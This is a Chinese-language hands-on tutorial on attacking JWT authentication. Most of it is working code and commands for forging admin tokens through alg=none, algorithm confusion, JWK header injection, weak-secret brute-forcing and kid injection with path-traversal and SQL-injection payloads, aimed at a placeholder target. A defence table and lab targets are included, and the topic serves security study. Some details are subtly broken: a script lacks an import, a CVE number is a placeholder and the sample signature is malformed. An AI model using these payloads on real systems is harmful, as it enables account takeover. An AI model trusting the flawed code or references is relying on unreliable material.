适合人群:了解 JWT 基本结构的 web 安全学习者
前置知识:HTTP 请求、Base64、基本的 Python/Node 语法
本文定位:从原理到实战,手把手拿下 JWT 漏洞
前置准备
工具安装
# 1. jwt_tool — JWT 测试瑞士军刀
pip3 install pyjwt # Python 的 JWT 库,用于手动测试
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool && python3 jwt_tool.py --help
# 2. 在线调试工具(浏览器备着)
# https://jwt.io/ — 就地解码/伪造
靶场准备
# 推荐靶场:WebGoat JWT 模块
docker run -d -p 8081:8080 webgoat/goatandwolf:latest
# 或直接用公开靶场
# https://portswigger.net/web-security/jwt
一、核心原理:JWT 到底怎么工作的
JWT(JSON Web Token)是三方结构:
header.payload.signature
具体示例:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFkbWluIn0.d7R3xlix0kR5dS1VuJ3XNA==
三个部分解码后:
Header:
{"alg": "HS256", "typ": "JWT"}
Payload(这里是关键区):
{"sub": "1234567890", "name": "admin", "iat": 1745000000}
Signature:
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
核心安全问题:
服务器只验证签名,不验证alg字段的合理性。如果我改 header 里的 alg 从 HS256 变成 none,有些库就直接跳过签名验证了——这就是高危。
二、实操:6 种 JWT 攻击手法
攻击 ①:alg=none 绕过
原理:早期 JWT 库遇到 alg: none 时直接信任 payload,不校验签名。
步骤:
# 步骤 1:拿到原始 JWT(从 Cookie/Authorization Header 中提取)
# 用 jwt_tool 扫描
python3 jwt_tool.py -t http://target.com/admin -rc "session=eyJhbGciOiJIUzI1NiJ9..."
# 步骤 2:修改 header
# 原始 header: {"alg":"HS256","typ":"JWT"}
# 改为:
import base64, json
# 原 token
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwibmFtZSI6InVzZXIifQ.xxx"
# 改 header + payload
header = base64.urlsafe_b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({"sub":"1","name":"admin","role":"admin"}).encode()).rstrip(b'=').decode()
forged = f"{header}.{payload}."
print(forged)
# 注意最后的点不能少!signature 部分为空
验证:用伪造的 JWT 访问管理接口,如果返回 200 且显示管理员数据,说明漏洞存在。
⚠️ 很多现代 JWT 库(如 PyJWT 2.x+)已经默认拒绝
alg: none,但在 Node.js 的jsonwebtoken@<9.0和旧版 PythonPyJWT<2.0中仍然有效。
攻击 ②:HMAC vs RSA 算法混淆(CVE-2015-9235)
原理:服务器用 RSA(公/私钥对)签名,但你拿到它的公钥后,用公钥作为 HMAC 的对称密钥来伪造 token。服务器在验证时,如果误用了你给的 alg 值,就可能上当。
场景判定:
- Header 里
alg是RS256(RSA)但你可能拿不到私钥 - 但 JWT 库允许降级到
HS256(HMAC)且验证时用公钥当密钥
实战步骤:
# 1. 获取公钥(常见泄露位置)
# - /.well-known/jwks.json
# - /public.key
# - 从 GitHub 泄漏
curl -s http://target.com/.well-known/jwks.json | jq .
import jwt
# 2. 假设拿到了公钥内容(PEM 格式)
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""
# 3. 伪造 token:把 alg 改为 HS256,用公钥当密钥签名
forged = jwt.encode(
{"sub": "1", "name": "admin", "role": "admin"},
public_key,
algorithm="HS256"
)
print(forged)
一次性脚本 jwt_confusion.py:
#!/usr/bin/env python3
"""JWT 算法混淆攻击 - 用公钥伪造 HMAC 签名"""
import jwt
import sys
def exploit_algorithm_confusion(pubkey_path, payload):
with open(pubkey_path, 'r') as f:
pubkey = f.read()
forged = jwt.encode(payload, pubkey, algorithm='HS256')
print(f"[+] 伪造 token:\n{forged}")
return forged
if __name__ == '__main__':
# python3 jwt_confusion.py /path/to/public.key '{"sub":"1","role":"admin"}'
pubkey_path = sys.argv[1]
payload = json.loads(sys.argv[2])
exploit_algorithm_confusion(pubkey_path, payload)
关键点:服务器必须同时接受 HS256 和 RS256 两种算法,且在验证 HMAC 签名时使用了 RSA 的公钥作为密钥。这是库实现的问题,不是算法本身的问题。
攻击 ③:JWK Header 注入(CVE-2018-0114)
原理:JWT header 可以带一个 jwk 或 jku 字段指定验证公钥。如果你能控制这个字段,直接塞入自己的公钥,签名就是用自己的私钥签的。
构造:
# 用 jwt_tool 一键完成
python3 jwt_tool.py http://target.com/admin \
-rc "session=eyJ..." \
-X POST \
-I -pc sub=admin -pc role=admin \
-S hs256 -pr /tmp/private.pem
手工构造(Python):
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
import jwt, json, base64
# 1. 生成自己的 RSA 密钥对
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048
)
private_pem = private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
)
public_key = private_key.public_key()
public_numbers = public_key.public_numbers()
# 2. 构造 jwk header
jwk = {
"kty": "RSA",
"n": base64.urlsafe_b64encode(
public_numbers.n.to_bytes(256, 'big')
).rstrip(b'=').decode(),
"e": base64.urlsafe_b64encode(
public_numbers.e.to_bytes(3, 'big')
).rstrip(b'=').decode(),
"alg": "RS256"
}
# 3. 签名
headers = {"alg": "RS256", "typ": "JWT", "jwk": jwk}
forged = jwt.encode(
{"sub": "1", "name": "admin", "role": "admin"},
private_pem,
algorithm="RS256",
headers=headers
)
print(forged)
攻击 ④:密钥爆破(弱密钥攻击)
如果服务器使用的是对称算法(HS256/HS384/HS512)且密钥是弱口令,直接爆破。
# 用 jwt_tool 内置 wordlist 爆破
python3 jwt_tool.py -C -d /usr/share/wordlists/rockyou.txt \
-t http://target.com/api/admin \
-rc "session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
# 或用 hashcat 模式 16500
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
自己写脚本爆破:
#!/usr/bin/env python3
import jwt
import sys
token = sys.argv[1]
wordlist = sys.argv[2]
with open(wordlist, 'r', errors='ignore') as f:
for line in f:
key = line.strip()
try:
payload = jwt.decode(token, key, algorithms=['HS256'])
print(f"[+] 找到密钥: {key}")
print(f"[+] Payload: {payload}")
break
except jwt.InvalidSignatureError:
continue
已知常见 JWT 密钥:
secretsecret123jwt_secretchangemepasswordqwerty123- 项目名/公司名的小写
攻击 ⑤:KID 注入(CVE-2023-XX)
KID(Key ID)在 header 中指定用于验证的密钥,如果后端实现不安全,可能被注入。
// 原始 header
{"alg":"HS256","typ":"JWT","kid":"key1"}
// 攻击 header —— 目录遍历
{"alg":"HS256","typ":"JWT","kid":"../../etc/passwd"}
// 攻击 header —— SQL 注入(如果后端从数据库取密钥)
{"alg":"HS256","typ":"JWT","kid":"' UNION SELECT 'mysecret' -- "}
// 攻击 header —— 空密钥
{"alg":"HS256","typ":"JWT","kid":"../../dev/null"}
原理:服务器用 kid 去文件系统或数据库查密钥,如果没做路径/输入过滤,可以控制读取任意文件或用任意字符串当密钥签名。
攻击 ⑥:权限水平越权(直接改 payload)
即使签名不可伪造,如果服务器只校验签名有效性却不校验权限字段的合法性,你拿到一个普通用户的 JWT 可以直接改 payload 中的 role 字段吗?
——不行。 签名校验会失败。
但如果其他漏洞存在,比如上述的算法混淆或密钥泄露,就组合起来了:
# 真实组合拳案例
# 1. 用密钥爆破拿到弱密钥
# 2. 把 payload 的 role 从 user 改成 admin
# 3. 用原算法重签
# 4. 用新 token 访问管理接口
三、完整攻击流程图
拿到目标 JWT
│
├─(1)解码查看 header alg 和 payload
│
├─(2)尝试 alg: none
│
├─(3)检查 /.well-known/jwks.json 有无公钥泄露
│ └─有 → 算法混淆攻击
│
├─(4)尝试弱密钥爆破
│ └─成功 → 伪造任意身份
│
├─(5)检查 kid 参数是否可注入
│
└─(6)检查 JWK/JKU header 是否被信任
└─是 → 自建密钥签名
四、防御总结(知己知彼)
| 攻击手法 | 防御措施 |
|---|---|
| alg:none | 在服务端显式拒绝 none 算法;使用 JWT 库的 whitelist 机制 |
| 算法混淆 | 固定算法列表,不允许客户端指定 alg 切换签名类型 |
| JWK 注入 | 禁用 jwk/jku header;使用固定的公钥白名单 |
| KID 注入 | 对 kid 做路径校验 + 输入过滤,不支持路径拼接 |
| 弱密钥 | 使用高熵随机密钥(>= 256 bit),定期轮换 |
| payload 越权 | 不仅仅是验证签名,后端必须二次校验 payload 中的权限字段 |
五、自测 CheckList
- [ ] token 去掉 signature 部分(留空)还能通过吗?
- [ ] 把
alg改成none、None、NONE、nOnE试试? - [ ] Header 改为
HS256用公钥当密钥签名? - [ ] 用 10000+ 个弱口令跑过密钥爆破吗?
- [ ] 网站暴露了 JWKS 公钥端点吗?
- [ ] 修改 payload 的
sub/role/admin字段后 token 还能用吗?